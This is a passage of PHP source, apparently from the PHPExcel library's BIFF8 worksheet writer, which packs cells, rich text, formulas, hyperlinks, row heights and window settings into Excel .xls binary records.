		$this-&gt;_writeDefcol();

		// Write the COLINFO records if they exist
		if (!empty($this-&gt;_colinfo)) {
			$colcount = count($this-&gt;_colinfo);
			for ($i = 0; $i &lt; $colcount; ++$i) {
				$this-&gt;_writeColinfo($this-&gt;_colinfo[$i]);
			}
		}
		$autoFilterRange = $_phpSheet-&gt;getAutoFilter()-&gt;getRange();
		if (!empty($autoFilterRange)) {
			// Write AUTOFILTERINFO
			$this-&gt;_writeAutoFilterInfo();
		}

		// Write sheet dimensions
		$this-&gt;_writeDimensions();

		// Row dimensions
		foreach ($_phpSheet-&gt;getRowDimensions() as $rowDimension) {
			$xfIndex = $rowDimension-&gt;getXfIndex() + 15; // there are 15 cellXfs
			$this-&gt;_writeRow( $rowDimension-&gt;getRowIndex() - 1, $rowDimension-&gt;getRowHeight(), $xfIndex, ($rowDimension-&gt;getVisible() ? '0' : '1'), $rowDimension-&gt;getOutlineLevel() );
		}

		// Write Cells
		foreach ($_phpSheet-&gt;getCellCollection() as $cellID) {
			$cell = $_phpSheet-&gt;getCell($cellID);
			$row = $cell-&gt;getRow() - 1;
			$column = PHPExcel_Cell::columnIndexFromString($cell-&gt;getColumn()) - 1;

			// Don't break Excel!
//			if ($row + 1 &gt; 65536 or $column + 1 &gt; 256) {
			if ($row &gt; 65535 || $column &gt; 255) {
				break;
			}

			// Write cell value
			$xfIndex = $cell-&gt;getXfIndex() + 15; // there are 15 cell style Xfs

			$cVal = $cell-&gt;getValue();
			if ($cVal instanceof PHPExcel_RichText) {
				// $this-&gt;_writeString($row, $column, $cVal-&gt;getPlainText(), $xfIndex);
				$arrcRun = array();
				$str_len = PHPExcel_Shared_String::CountCharacters($cVal-&gt;getPlainText(), 'UTF-8');
				$str_pos = 0;
				$elements = $cVal-&gt;getRichTextElements();
				foreach ($elements as $element) {
					// FONT Index
					if ($element instanceof PHPExcel_RichText_Run) {
						$str_fontidx = $this-&gt;_fntHashIndex[$element-&gt;getFont()-&gt;getHashCode()];
					}
					else {
						$str_fontidx = 0;
					}
					$arrcRun[] = array('strlen' =&gt; $str_pos, 'fontidx' =&gt; $str_fontidx);
					// Position FROM
					$str_pos += PHPExcel_Shared_String::CountCharacters($element-&gt;getText(), 'UTF-8');
				}
				$this-&gt;_writeRichTextString($row, $column, $cVal-&gt;getPlainText(), $xfIndex, $arrcRun);
			} else {
				switch ($cell-&gt;getDatatype()) {
					case PHPExcel_Cell_DataType::TYPE_STRING:
					case PHPExcel_Cell_DataType::TYPE_NULL:
						if ($cVal === '' || $cVal === null) {
							$this-&gt;_writeBlank($row, $column, $xfIndex);
						} else {
							$this-&gt;_writeString($row, $column, $cVal, $xfIndex);
						}
						break;

					case PHPExcel_Cell_DataType::TYPE_NUMERIC:
						$this-&gt;_writeNumber($row, $column, $cVal, $xfIndex);
						break;

					case PHPExcel_Cell_DataType::TYPE_FORMULA:
						$calculatedValue = $this-&gt;_preCalculateFormulas ?
							$cell-&gt;getCalculatedValue() : null;
						$this-&gt;_writeFormula($row, $column, $cVal, $xfIndex, $calculatedValue);
						break;

					case PHPExcel_Cell_DataType::TYPE_BOOL:
						$this-&gt;_writeBoolErr($row, $column, $cVal, 0, $xfIndex);
						break;

					case PHPExcel_Cell_DataType::TYPE_ERROR:
						$this-&gt;_writeBoolErr($row, $column, self::_mapErrorCode($cVal), 1, $xfIndex);
						break;

				}
			}
		}

		// Append
		$this-&gt;_writeMsoDrawing();

		// Write WINDOW2 record
		$this-&gt;_writeWindow2();

		// Write PLV record
		$this-&gt;_writePageLayoutView();

		// Write ZOOM record
		$this-&gt;_writeZoom();
		if ($_phpSheet-&gt;getFreezePane()) {
			$this-&gt;_writePanes();
		}

		// Write SELECTION record
		$this-&gt;_writeSelection();

		// Write MergedCellsTable Record
		$this-&gt;_writeMergedCells();

		// Hyperlinks
		foreach ($_phpSheet-&gt;getHyperLinkCollection() as $coordinate =&gt; $hyperlink) {
			list($column, $row) = PHPExcel_Cell::coordinateFromString($coordinate);

			$url = $hyperlink-&gt;getUrl();

			if ( strpos($url, 'sheet://') !== false ) {
				// internal to current workbook
				$url = str_replace('sheet://', 'internal:', $url);

			} else if ( preg_match('/^(http:|https:|ftp:|mailto:)/', $url) ) {
				// URL
				// $url = $url;

			} else {
				// external (local file)
				$url = 'external:' . $url;
			}

			$this-&gt;_writeUrl($row - 1, PHPExcel_Cell::columnIndexFromString($column) - 1, $url);
		}

		$this-&gt;_writeDataValidity();
		$this-&gt;_writeSheetLayout();

		// Write SHEETPROTECTION record
		$this-&gt;_writeSheetProtection();
		$this-&gt;_writeRangeProtection();

		$arrConditionalStyles = $_phpSheet-&gt;getConditionalStylesCollection();
		if(!empty($arrConditionalStyles)){
			$arrConditional = array();
			// @todo CFRule &amp; CFHeader
			// Write CFHEADER record
			$this-&gt;_writeCFHeader();
			// Write ConditionalFormattingTable records
			foreach ($arrConditionalStyles as $cellCoordinate =&gt; $conditionalStyles) {
				foreach ($conditionalStyles as $conditional) {
					if($conditional-&gt;getConditionType() == PHPExcel_Style_Conditional::CONDITION_EXPRESSION
						|| $conditional-&gt;getConditionType() == PHPExcel_Style_Conditional::CONDITION_CELLIS){
						if(!in_array($conditional-&gt;getHashCode(), $arrConditional)){
							$arrConditional[] = $conditional-&gt;getHashCode();
							// Write CFRULE record
							$this-&gt;_writeCFRule($conditional);
						}
					}
				}
			}
		}

		$this-&gt;_storeEof();
	}

	/**
	 * Write a cell range address in BIFF8
	 * always fixed range
	 * See section 2.5.14 in OpenOffice.org's Documentation of the Microsoft Excel File Format
	 *
	 * @param string $range E.g. 'A1' or 'A1:B6'
	 * @return string Binary data
	 */
	private function _writeBIFF8CellRangeAddressFixed($range = 'A1')
	{
		$explodes = explode(':', $range);

		// extract first cell, e.g. 'A1'
		$firstCell = $explodes[0];

		// extract last cell, e.g. 'B6'
		if (count($explodes) == 1) {
			$lastCell = $firstCell;
		} else {
			$lastCell = $explodes[1];
		}

		$firstCellCoordinates = PHPExcel_Cell::coordinateFromString($firstCell); // e.g. array(0, 1)
		$lastCellCoordinates  = PHPExcel_Cell::coordinateFromString($lastCell);  // e.g. array(1, 6)

		return(pack('vvvv',
			$firstCellCoordinates[1] - 1,
			$lastCellCoordinates[1] - 1,
			PHPExcel_Cell::columnIndexFromString($firstCellCoordinates[0]) - 1,
			PHPExcel_Cell::columnIndexFromString($lastCellCoordinates[0]) - 1
		));
	}

	/**
	 * Retrieves data from memory in one chunk, or from disk in $buffer
	 * sized chunks.
	 *
	 * @return string The data
	 */
	function getData()
	{
		$buffer = 4096;

		// Return data stored in memory
		if (isset($this-&gt;_data)) {
			$tmp   = $this-&gt;_data;
			unset($this-&gt;_data);
			return $tmp;
		}
		// No data to return
		return false;
	}

	/**
	 * Set the option to print the row and column headers on the printed page.
	 *
	 * @access public
	 * @param integer $print Whether to print the headers or not. Defaults to 1 (print).
	 */
	function printRowColHeaders($print = 1)
	{
		$this-&gt;_print_headers = $print;
	}

	/**
	 * This method sets the properties for outlining and grouping. The defaults
	 * correspond to Excel's defaults.
	 *
	 * @param bool $visible
	 * @param bool $symbols_below
	 * @param bool $symbols_right
	 * @param bool $auto_style
	 */
	function setOutline($visible = true, $symbols_below = true, $symbols_right = true, $auto_style = false)
	{
		$this-&gt;_outline_on	= $visible;
		$this-&gt;_outline_below = $symbols_below;
		$this-&gt;_outline_right = $symbols_right;
		$this-&gt;_outline_style = $auto_style;

		// Ensure this is a boolean vale for Window2
		if ($this-&gt;_outline_on) {
			$this-&gt;_outline_on = 1;
		}
	 }

	/**
	 * Write a double to the specified row and column (zero indexed).
	 * An integer can be written as a double. Excel will display an
	 * integer. $format is optional.
	 *
	 * Returns  0 : normal termination
	 *		 -2 : row or column out of range
	 *
	 * @param integer $row	Zero indexed row
	 * @param integer $col	Zero indexed column
	 * @param float   $num	The number to write
	 * @param mixed   $xfIndex The optional XF format
	 * @return integer
	 */
	private function _writeNumber($row, $col, $num, $xfIndex)
	{
		$record	= 0x0203;				 // Record identifier
		$length	= 0x000E;				 // Number of bytes to follow

		$header		= pack(&quot;vv&quot;,  $record, $length);
		$data		= pack(&quot;vvv&quot;, $row, $col, $xfIndex);
		$xl_double	= pack(&quot;d&quot;,   $num);
		if (self::getByteOrder()) { // if it's Big Endian
			$xl_double = strrev($xl_double);
		}

		$this-&gt;_append($header.$data.$xl_double);
		return(0);
	}

	/**
	 * Write a LABELSST record or a LABEL record. Which one depends on BIFF version
	 *
	 * @param int $row Row index (0-based)
	 * @param int $col Column index (0-based)
	 * @param string $str The string
	 * @param int $xfIndex Index to XF record
	 */
	private function _writeString($row, $col, $str, $xfIndex)
	{
		$this-&gt;_writeLabelSst($row, $col, $str, $xfIndex);
	}

	/**
	 * Write a LABELSST record or a LABEL record. Which one depends on BIFF version
	 * It differs from _writeString by the writing of rich text strings.
	 * @param int $row Row index (0-based)
	 * @param int $col Column index (0-based)
	 * @param string $str The string
	 * @param mixed   $xfIndex The XF format index for the cell
	 * @param array $arrcRun Index to Font record and characters beginning
	 */
	private function _writeRichTextString($row, $col, $str, $xfIndex, $arrcRun){
		$record	= 0x00FD;				   // Record identifier
		$length	= 0x000A;				   // Bytes to follow
		$str = PHPExcel_Shared_String::UTF8toBIFF8UnicodeShort($str, $arrcRun);

		/* check if string is already present */
		if (!isset($this-&gt;_str_table[$str])) {
			$this-&gt;_str_table[$str] = $this-&gt;_str_unique++;
		}
		$this-&gt;_str_total++;

		$header	= pack('vv',   $record, $length);
		$data	= pack('vvvV', $row, $col, $xfIndex, $this-&gt;_str_table[$str]);
		$this-&gt;_append($header.$data);
	}

	/**
	 * Write a string to the specified row and column (zero indexed).
	 * NOTE: there is an Excel 5 defined limit of 255 characters.
	 * $format is optional.
	 * Returns  0 : normal termination
	 *		 -2 : row or column out of range
	 *		 -3 : long string truncated to 255 chars
	 *
	 * @access public
	 * @param integer $row	Zero indexed row
	 * @param integer $col	Zero indexed column
	 * @param string  $str	The string to write
	 * @param mixed   $xfIndex The XF format index for the cell
	 * @return integer
	 */
	private function _writeLabel($row, $col, $str, $xfIndex)
	{
		$strlen	= strlen($str);
		$record	= 0x0204;				   // Record identifier
		$length	= 0x0008 + $strlen;		 // Bytes to follow

		$str_error = 0;

		if ($strlen &gt; $this-&gt;_xls_strmax) { // LABEL must be &lt; 255 chars
			$str	= substr($str, 0, $this-&gt;_xls_strmax);
			$length	= 0x0008 + $this-&gt;_xls_strmax;
			$strlen	= $this-&gt;_xls_strmax;
			$str_error = -3;
		}

		$header	= pack(&quot;vv&quot;,   $record, $length);
		$data	= pack(&quot;vvvv&quot;, $row, $col, $xfIndex, $strlen);
		$this-&gt;_append($header . $data . $str);
		return($str_error);
	}

	/**
	 * Write a string to the specified row and column (zero indexed).
	 * This is the BIFF8 version (no 255 chars limit).
	 * $format is optional.
	 * Returns  0 : normal termination
	 *		 -2 : row or column out of range
	 *		 -3 : long string truncated to 255 chars
	 *
	 * @access public
	 * @param integer $row	Zero indexed row
	 * @param integer $col	Zero indexed column
	 * @param string  $str	The string to write
	 * @param mixed   $xfIndex The XF format index for the cell
	 * @return integer
	 */
	private function _writeLabelSst($row, $col, $str, $xfIndex)
	{
		$record	= 0x00FD;				   // Record identifier
		$length	= 0x000A;				   // Bytes to follow

		$str = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($str);

		/* check if string is already present */
		if (!isset($this-&gt;_str_table[$str])) {
			$this-&gt;_str_table[$str] = $this-&gt;_str_unique++;
		}
		$this-&gt;_str_total++;

		$header	= pack('vv',   $record, $length);
		$data	= pack('vvvV', $row, $col, $xfIndex, $this-&gt;_str_table[$str]);
		$this-&gt;_append($header.$data);
	}

	/**
	 * Writes a note associated with the cell given by the row and column.
	 * NOTE records don't have a length limit.
	 *
	 * @param integer $row	Zero indexed row
	 * @param integer $col	Zero indexed column
	 * @param string  $note   The note to write
	 */
	private function _writeNote($row, $col, $note)
	{
		$note_length	= strlen($note);
		$record			= 0x001C;			// Record identifier
		$max_length		= 2048;				// Maximun length for a NOTE record

		// Length for this record is no more than 2048 + 6
		$length	= 0x0006 + min($note_length, 2048);
		$header	= pack(&quot;vv&quot;,   $record, $length);
		$data	= pack(&quot;vvv&quot;, $row, $col, $note_length);
		$this-&gt;_append($header . $data . substr($note, 0, 2048));

		for ($i = $max_length; $i &lt; $note_length; $i += $max_length) {
			$chunk  = substr($note, $i, $max_length);
			$length = 0x0006 + strlen($chunk);
			$header = pack(&quot;vv&quot;,   $record, $length);
			$data   = pack(&quot;vvv&quot;, -1, 0, strlen($chunk));
			$this-&gt;_append($header.$data.$chunk);
		}
		return(0);
	}

	/**
	 * Write a blank cell to the specified row and column (zero indexed).
	 * A blank cell is used to specify formatting without adding a string
	 * or a number.
	 *
	 * A blank cell without a format serves no purpose. Therefore, we don't write
	 * a BLANK record unless a format is specified.
	 *
	 * Returns  0 : normal termination (including no format)
	 *		 -1 : insufficient number of arguments
	 *		 -2 : row or column out of range
	 *
	 * @param integer $row	Zero indexed row
	 * @param integer $col	Zero indexed column
	 * @param mixed   $xfIndex The XF format index
	 */
	function _writeBlank($row, $col, $xfIndex)
	{
		$record	= 0x0201;				 // Record identifier
		$length	= 0x0006;				 // Number of bytes to follow

		$header	= pack(&quot;vv&quot;,  $record, $length);
		$data	  = pack(&quot;vvv&quot;, $row, $col, $xfIndex);
		$this-&gt;_append($header . $data);
		return 0;
	}

	/**
	 * Write a boolean or an error type to the specified row and column (zero indexed)
	 *
	 * @param int $row Row index (0-based)
	 * @param int $col Column index (0-based)
	 * @param int $value
	 * @param boolean $isError Error or Boolean?
	 * @param int $xfIndex
	 */
	private function _writeBoolErr($row, $col, $value, $isError, $xfIndex)
	{
		$record = 0x0205;
		$length = 8;

		$header	= pack(&quot;vv&quot;,  $record, $length);
		$data	  = pack(&quot;vvvCC&quot;, $row, $col, $xfIndex, $value, $isError);
		$this-&gt;_append($header . $data);
		return 0;
	}

	/**
	 * Write a formula to the specified row and column (zero indexed).
	 * The textual representation of the formula is passed to the parser in
	 * Parser.php which returns a packed binary string.
	 *
	 * Returns  0 : normal termination
	 *		 -1 : formula errors (bad formula)
	 *		 -2 : row or column out of range
	 *
	 * @param integer $row	 Zero indexed row
	 * @param integer $col	 Zero indexed column
	 * @param string  $formula The formula text string
	 * @param mixed   $xfIndex  The XF format index
	 * @param mixed   $calculatedValue  Calculated value
	 * @return integer
	 */
	private function _writeFormula($row, $col, $formula, $xfIndex, $calculatedValue)
	{
		$record	= 0x0006;	 // Record identifier

		// Initialize possible additional value for STRING record that should be written after the FORMULA record?
		$stringValue = null;

		// calculated value
		if (isset($calculatedValue)) {
			// Since we can't yet get the data type of the calculated value,
			// we use best effort to determine data type
			if (is_bool($calculatedValue)) {
				// Boolean value
				$num = pack('CCCvCv', 0x01, 0x00, (int)$calculatedValue, 0x00, 0x00, 0xFFFF);
			} elseif (is_int($calculatedValue) || is_float($calculatedValue)) {
				// Numeric value
				$num = pack('d', $calculatedValue);
			} elseif (is_string($calculatedValue)) {
				if (array_key_exists($calculatedValue, PHPExcel_Cell_DataType::getErrorCodes())) {
					// Error value
					$num = pack('CCCvCv', 0x02, 0x00, self::_mapErrorCode($calculatedValue), 0x00, 0x00, 0xFFFF);
				} elseif ($calculatedValue === '') {
					// Empty string (and BIFF8)
					$num = pack('CCCvCv', 0x03, 0x00, 0x00, 0x00, 0x00, 0xFFFF);
				} else {
					// Non-empty string value (or empty string BIFF5)
					$stringValue = $calculatedValue;
					$num = pack('CCCvCv', 0x00, 0x00, 0x00, 0x00, 0x00, 0xFFFF);
				}
			} else {
				// We are really not supposed to reach here
				$num = pack('d', 0x00);
			}
		} else {
			$num = pack('d', 0x00);
		}

		$grbit		= 0x03;				// Option flags
		$unknown	= 0x0000;			// Must be zero

		// Strip the '=' or '@' sign at the beginning of the formula string
		if ($formula{0} == '=') {
			$formula = substr($formula,1);
		} else {
			// Error handling
			$this-&gt;_writeString($row, $col, 'Unrecognised character for formula');
			return -1;
		}

		// Parse the formula using the parser in Parser.php
		try {
			$error = $this-&gt;_parser-&gt;parse($formula);
			$formula = $this-&gt;_parser-&gt;toReversePolish();

			$formlen	= strlen($formula);	// Length of the binary string
			$length	 = 0x16 + $formlen;	 // Length of the record data

			$header	= pack(&quot;vv&quot;,	  $record, $length);

			$data	  = pack(&quot;vvv&quot;, $row, $col, $xfIndex)
						. $num
						. pack(&quot;vVv&quot;, $grbit, $unknown, $formlen);
			$this-&gt;_append($header . $data . $formula);

			// Append also a STRING record if necessary
			if ($stringValue !== null) {
				$this-&gt;_writeStringRecord($stringValue);
			}

			return 0;

		} catch (PHPExcel_Exception $e) {
			// do nothing
		}

	}

	/**
	 * Write a STRING record. This
	 *
	 * @param string $stringValue
	 */
	private function _writeStringRecord($stringValue)
	{
		$record = 0x0207;	 // Record identifier
		$data = PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($stringValue);

		$length = strlen($data);
		$header = pack('vv', $record, $length);

		$this-&gt;_append($header . $data);
	}

	/**
	 * Write a hyperlink.
	 * This is comprised of two elements: the visible label and
	 * the invisible link. The visible label is the same as the link unless an
	 * alternative string is specified. The label is written using the
	 * _writeString() method. Therefore the 255 characters string limit applies.
	 * $string and $format are optional.
	 *
	 * The hyperlink can be to a http, ftp, mail, internal sheet (not yet), or external
	 * directory url.
	 *
	 * Returns  0 : normal termination
	 *		 -2 : row or column out of range
	 *		 -3 : long string truncated to 255 chars
	 *
	 * @param integer $row	Row
	 * @param integer $col	Column
	 * @param string  $url	URL string
	 * @return integer
	 */
	private function _writeUrl($row, $col, $url)
	{
		// Add start row and col to arg list
		return($this-&gt;_writeUrlRange($row, $col, $row, $col, $url));
	}

	/**
	 * This is the more general form of _writeUrl(). It allows a hyperlink to be
	 * written to a range of cells. This function also decides the type of hyperlink
	 * to be written. These are either, Web (http, ftp, mailto), Internal
	 * (Sheet1!A1) or external ('c:\temp\foo.xls#Sheet1!A1').
	 *
	 * @access private
	 * @see _writeUrl()
	 * @param integer $row1   Start row
	 * @param integer $col1   Start column
	 * @param integer $row2   End row
	 * @param integer $col2   End column
	 * @param string  $url	URL string
	 * @return integer
	 */
	function _writeUrlRange($row1, $col1, $row2, $col2, $url)
	{
		// Check for internal/external sheet links or default to web link
		if (preg_match('[^internal:]', $url)) {
			return($this-&gt;_writeUrlInternal($row1, $col1, $row2, $col2, $url));
		}
		if (preg_match('[^external:]', $url)) {
			return($this-&gt;_writeUrlExternal($row1, $col1, $row2, $col2, $url));
		}
		return($this-&gt;_writeUrlWeb($row1, $col1, $row2, $col2, $url));
	}

	/**
	 * Used to write http, ftp and mailto hyperlinks.
	 * The link type ($options) is 0x03 is the same as absolute dir ref without
	 * sheet. However it is differentiated by the $unknown2 data stream.
	 *
	 * @access private
	 * @see _writeUrl()
	 * @param integer $row1   Start row
	 * @param integer $col1   Start column
	 * @param integer $row2   End row
	 * @param integer $col2   End column
	 * @param string  $url	URL string
	 * @return integer
	 */
	function _writeUrlWeb($row1, $col1, $row2, $col2, $url)
	{
		$record	  = 0x01B8;					   // Record identifier
		$length	  = 0x00000;					  // Bytes to follow

		// Pack the undocumented parts of the hyperlink stream
		$unknown1	= pack(&quot;H*&quot;, &quot;D0C9EA79F9BACE118C8200AA004BA90B02000000&quot;);
		$unknown2	= pack(&quot;H*&quot;, &quot;E0C9EA79F9BACE118C8200AA004BA90B&quot;);

		// Pack the option flags
		$options	 = pack(&quot;V&quot;, 0x03);

		// Convert URL to a null terminated wchar string
		$url		 = join(&quot;\0&quot;, preg_split(&quot;''&quot;, $url, -1, PREG_SPLIT_NO_EMPTY));
		$url		 = $url . &quot;\0\0\0&quot;;

		// Pack the length of the URL
		$url_len	 = pack(&quot;V&quot;, strlen($url));

		// Calculate the data length
		$length	  = 0x34 + strlen($url);

		// Pack the header data
		$header	  = pack(&quot;vv&quot;,   $record, $length);
		$data		= pack(&quot;vvvv&quot;, $row1, $row2, $col1, $col2);

		// Write the packed data
		$this-&gt;_append($header . $data .
					   $unknown1 . $options .
					   $unknown2 . $url_len . $url);
		return 0;
	}

	/**
	 * Used to write internal reference hyperlinks such as &quot;Sheet1!A1&quot;.
	 *
	 * @access private
	 * @see _writeUrl()
	 * @param integer $row1   Start row
	 * @param integer $col1   Start column
	 * @param integer $row2   End row
	 * @param integer $col2   End column
	 * @param string  $url	URL string
	 * @return integer
	 */
	function _writeUrlInternal($row1, $col1, $row2, $col2, $url)
	{
		$record	  = 0x01B8;					   // Record identifier
		$length	  = 0x00000;					  // Bytes to follow

		// Strip URL type
		$url = preg_replace('/^internal:/', '', $url);

		// Pack the undocumented parts of the hyperlink stream
		$unknown1	= pack(&quot;H*&quot;, &quot;D0C9EA79F9BACE118C8200AA004BA90B02000000&quot;);

		// Pack the option flags
		$options	 = pack(&quot;V&quot;, 0x08);

		// Convert the URL type and to a null terminated wchar string
		$url .= &quot;\0&quot;;

		// character count
		$url_len = PHPExcel_Shared_String::CountCharacters($url);
		$url_len = pack('V', $url_len);

		$url = PHPExcel_Shared_String::ConvertEncoding($url, 'UTF-16LE', 'UTF-8');

		// Calculate the data length
		$length	  = 0x24 + strlen($url);

		// Pack the header data
		$header	  = pack(&quot;vv&quot;,   $record, $length);
		$data		= pack(&quot;vvvv&quot;, $row1, $row2, $col1, $col2);

		// Write the packed data
		$this-&gt;_append($header . $data .
					   $unknown1 . $options .
					   $url_len . $url);
		return 0;
	}

	/**
	 * Write links to external directory names such as 'c:\foo.xls',
	 * c:\foo.xls#Sheet1!A1', '../../foo.xls'. and '../../foo.xls#Sheet1!A1'.
	 *
	 * Note: Excel writes some relative links with the $dir_long string. We ignore
	 * these cases for the sake of simpler code.
	 *
	 * @access private
	 * @see _writeUrl()
	 * @param integer $row1   Start row
	 * @param integer $col1   Start column
	 * @param integer $row2   End row
	 * @param integer $col2   End column
	 * @param string  $url	URL string
	 * @return integer
	 */
	function _writeUrlExternal($row1, $col1, $row2, $col2, $url)
	{
		// Network drives are different. We will handle them separately
		// MS/Novell network drives and shares start with \\
		if (preg_match('[^external:\\\\]', $url)) {
			return; //($this-&gt;_writeUrlExternal_net($row1, $col1, $row2, $col2, $url, $str, $format));
		}

		$record	  = 0x01B8;					   // Record identifier
		$length	  = 0x00000;					  // Bytes to follow

		// Strip URL type and change Unix dir separator to Dos style (if needed)
		//
		$url = preg_replace('/^external:/', '', $url);
		$url = preg_replace('/\//', &quot;\\&quot;, $url);

		// Determine if the link is relative or absolute:
		//   relative if link contains no dir separator, &quot;somefile.xls&quot;
		//   relative if link starts with up-dir, &quot;..\..\somefile.xls&quot;
		//   otherwise, absolute

		$absolute = 0x00; // relative path
		if ( preg_match('/^[A-Z]:/', $url) ) {
			$absolute = 0x02; // absolute path on Windows, e.g. C:\...
		}
		$link_type			   = 0x01 | $absolute;

		// Determine if the link contains a sheet reference and change some of the
		// parameters accordingly.
		// Split the dir name and sheet name (if it exists)
		$dir_long = $url;
		if (preg_match(&quot;/\#/&quot;, $url)) {
			$link_type |= 0x08;
		}


		// Pack the link type
		$link_type   = pack(&quot;V&quot;, $link_type);

		// Calculate the up-level dir count e.g.. (..\..\..\ == 3)
		$up_count	= preg_match_all(&quot;/\.\.\\\/&quot;, $dir_long, $useless);
		$up_count	= pack(&quot;v&quot;, $up_count);

		// Store the short dos dir name (null terminated)
		$dir_short   = preg_replace(&quot;/\.\.\\\/&quot;, '', $dir_long) . &quot;\0&quot;;

		// Store the long dir name as a wchar string (non-null terminated)
		$dir_long	   = $dir_long . &quot;\0&quot;;

		// Pack the lengths of the dir strings
		$dir_short_len = pack(&quot;V&quot;, strlen($dir_short)	  );
		$dir_long_len  = pack(&quot;V&quot;, strlen($dir_long)	   );
		$stream_len	= pack(&quot;V&quot;, 0);//strlen($dir_long) + 0x06);

		// Pack the undocumented parts of the hyperlink stream
		$unknown1 = pack(&quot;H*&quot;,'D0C9EA79F9BACE118C8200AA004BA90B02000000'	   );
		$unknown2 = pack(&quot;H*&quot;,'0303000000000000C000000000000046'			   );
		$unknown3 = pack(&quot;H*&quot;,'FFFFADDE000000000000000000000000000000000000000');
		$unknown4 = pack(&quot;v&quot;,  0x03											);

		// Pack the main data stream
		$data		= pack(&quot;vvvv&quot;, $row1, $row2, $col1, $col2) .
						  $unknown1	 .
						  $link_type	.
						  $unknown2	 .
						  $up_count	 .
						  $dir_short_len.
						  $dir_short	.
						  $unknown3	 .
						  $stream_len   ;/*.
						  $dir_long_len .
						  $unknown4	 .
						  $dir_long	 .
						  $sheet_len	.
						  $sheet		;*/

		// Pack the header data
		$length   = strlen($data);
		$header   = pack(&quot;vv&quot;, $record, $length);

		// Write the packed data
		$this-&gt;_append($header. $data);
		return 0;
	}

	/**
	 * This method is used to set the height and format for a row.
	 *
	 * @param integer $row	The row to set
	 * @param integer $height Height we are giving to the row.
	 *						Use null to set XF without setting height
	 * @param integer $xfIndex  The optional cell style Xf index to apply to the columns
	 * @param bool	$hidden The optional hidden attribute
	 * @param integer $level  The optional outline level for row, in range [0,7]
	 */
	private function _writeRow($row, $height, $xfIndex, $hidden = false, $level = 0)
	{
		$record	  = 0x0208;			   // Record identifier
		$length	  = 0x0010;			   // Number of bytes to follow

		$colMic	  = 0x0000;			   // First defined column
		$colMac	  = 0x0000;			   // Last defined column
		$irwMac	  = 0x0000;			   // Used by Excel to optimise loading
		$reserved	= 0x0000;			   // Reserved
		$grbit	   = 0x0000;			   // Option flags
		$ixfe		= $xfIndex;

		if ( $height &lt; 0 ){
			$height = null;
		}

		// Use _writeRow($row, null, $XF) to set XF format without setting height
		if ($height != null) {
			$miyRw = $height * 20;  // row height
		} else {
			$miyRw = 0xff;		  // default row height is 256
		}

		// Set the options flags. fUnsynced is used to show that the font and row
		// heights are not compatible. This is usually the case for WriteExcel.
		// The collapsed flag 0x10 doesn't seem to be used to indicate that a row
		// is collapsed. Instead it is used to indicate that the previous row is
		// collapsed. The zero height flag, 0x20, is used to collapse a row.

		$grbit |= $level;
		if ($hidden) {
			$grbit |= 0x0030;
		}
		if ($height !== null) {
			$grbit |= 0x0040; // fUnsynced
		}
		if ($xfIndex !== 0xF) {
			$grbit |= 0x0080;
		}
		$grbit |= 0x0100;

		$header   = pack(&quot;vv&quot;,	   $record, $length);
		$data	 = pack(&quot;vvvvvvvv&quot;, $row, $colMic, $colMac, $miyRw,
									 $irwMac,$reserved, $grbit, $ixfe);
		$this-&gt;_append($header.$data);
	}

	/**
	 * Writes Excel DIMENSIONS to define the area in which there is data.
	 */
	private function _writeDimensions()
	{
		$record = 0x0200; // Record identifier

		$length = 0x000E;
		$data = pack('VVvvv'
				, $this-&gt;_firstRowIndex
				, $this-&gt;_lastRowIndex + 1
				, $this-&gt;_firstColumnIndex
				, $this-&gt;_lastColumnIndex + 1
				, 0x0000 // reserved
			);

		$header = pack(&quot;vv&quot;, $record, $length);
		$this-&gt;_append($header.$data);
	}

	/**
	 * Write BIFF record Window2.
	 */
	private function _writeWindow2()
	{
		$record		 = 0x023E;	 // Record identifier
		$length		 = 0x0012;

		$grbit		  = 0x00B6;	 // Option flags
		$rwTop		  = 0x0000;	 // Top row visible in window
		$colLeft		= 0x0000;	 // Leftmost column visible in window


		// The options flags that comprise $grbit
		$fDspFmla	   = 0;					 // 0 - bit
		$fDspGrid	   = $this-&gt;_phpSheet-&gt;getShowGridlines() ? 1 : 0; // 1
		$fDspRwCol	  = $this-&gt;_phpSheet-&gt;getShowRowColHeaders() ? 1 : 0; // 2
		$fFrozen		= $this-&gt;_phpSheet-&gt;getFreezePane() ? 1 : 0;		// 3
		$fDspZeros	  = 1;					 // 4
		$fDefaultHdr	= 1;					 // 5
		$fArabic		= $this-&gt;_phpSheet-&gt;getRightToLeft() ? 1 : 0; // 6
		$fDspGuts	   = $this-&gt;_outline_on;	// 7
		$fFrozenNoSplit = 0;					 // 0 - bit
		// no support in PHPExcel for selected sheet, therefore sheet is only selected if it is the active sheet
		$fSelected	  = ($this-&gt;_phpSheet === $this-&gt;_phpSheet-&gt;getParent()-&gt;getActiveSheet()) ? 1 : 0;
		$fPaged		 = 1;					 // 2
		$fPageBreakPreview = $this-&gt;_phpSheet-&gt;getSheetView()-&gt;getView() === PHPExcel_Worksheet_SheetView::SHEETVIEW_PAGE_BREAK_PREVIEW;

		$grbit			 = $fDspFmla;
		$grbit			|= $fDspGrid	   &lt;&lt; 1;
		$grbit			|= $fDspRwCol	   &lt;&lt; 2;
		$grbit			|= $fFrozen		   &lt;&lt; 3;
		$grbit			|= $fDspZeros	   &lt;&lt; 4;
		$grbit			|= $fDefaultHdr	   &lt;&lt; 5;
		$grbit			|= $fArabic		   &lt;&lt; 6;
		$grbit			|= $fDspGuts	   &lt;&lt; 7;
		$grbit			|= $fFrozenNoSplit &lt;&lt; 8;
		$grbit			|= $fSelected	   &lt;&lt; 9;
		$grbit			|= $fPaged		   &lt;&lt; 10;
		$grbit			|= $fPageBreakPreview &lt;&lt; 11;

		$header  = pack(&quot;vv&quot;,   $record, $length);
		$data	= pack(&quot;vvv&quot;, $grbit, $rwTop, $colLeft);

		// FIXME !!!
		$rgbHdr	   = 0x0040; // Row/column heading and gridline color index
		$zoom_factor_page_break = ($fPageBreakPreview? $this-&gt;_phpSheet-&gt;getSheetView()-&gt;getZoomScale() : 0x0000);
		$zoom_factor_normal =  $this-&gt;_phpSheet-&gt;getSheetView()-&gt;getZoomScaleNormal();

		$data .= pack(&quot;vvvvV&quot;, $rgbHdr, 0x0000, $zoom_factor_page_break, $zoom_factor_normal, 0x00000000);

		$this-&gt;_append($header.$data);
	}

	/**
	 * Write BIFF record DEFAULTROWHEIGHT.
	 */
	private function _writeDefaultRowHeight()
	{
